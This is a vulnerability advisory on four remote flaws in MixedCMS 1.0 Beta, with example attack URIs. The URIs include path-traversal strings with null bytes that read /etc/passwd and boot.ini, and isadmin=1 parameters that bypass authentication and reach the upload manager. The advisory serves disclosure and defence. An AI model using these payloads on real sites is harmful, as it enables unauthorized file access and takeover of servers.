MixedCMS 1.0 Beta Multiple Remote Vulnerabilities

Bugtraq ID:	34649
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 21 2009 12:00AM
Updated:	Apr 23 2009 09:06PM
Credit:	YEnH4ckEr
Vulnerable:	MixedCMS MixedCMS 1.0 Beta
Not Vulnerable:

MixedCMS 1.0 Beta Multiple Remote Vulnerabilities

MixedCMS is prone to multiple remote vulnerabilities:

- A local file-include vulnerability
- An arbitrary-file-upload vulnerability
- An authentication-bypass vulnerability
- A directory-traversal vulnerability

An attacker can exploit these issues to upload and execute arbitrary script code on an affected computer with the privileges of the webserver process, view or execute arbitrary local files, or gain unauthorized access to the affected application.

MixedCMS 1.0 Beta is vulnerable; other versions may also be affected.

MixedCMS 1.0 Beta Multiple Remote Vulnerabilities

Attackers may exploit these issues via a browser.

The following example URIs are available:

Local file include:

http://www.example.com/[HOME_PATH]/modules/mod.php?mod=../../../../../../../boot.ini%00
http://www.example.com/[HOST]/[HOME_PATH]/modules/mod.php?mod=../../../../../etc/passwd%00


Arbitrary file upload:

http://www.example.com/[HOME_PATH]/modules/mod.php?mod=download&op=manager&isadmin=1


Authentication bypass:

http://www.example.com/[HOME_PATH]/modules/mod.php?mod=newsfeed&op=manager&isadmin=1


Directory traversal:

http://www.example.com/[HOME_PATH]/modules/mod/download/DocMan.php?path=./../download/archieves/
http://www.example.com/[HOME_PATH]/modules/mod/download/DocMan.php?path=./../../../engine/

MixedCMS 1.0 Beta Multiple Remote Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

MixedCMS 1.0 Beta Multiple Remote Vulnerabilities

References:

• MixedCMS Homepage (MixedCMS)
  
• MixedCMS 1.0--Multiple Remote Vulnerabilities--> ([email protected])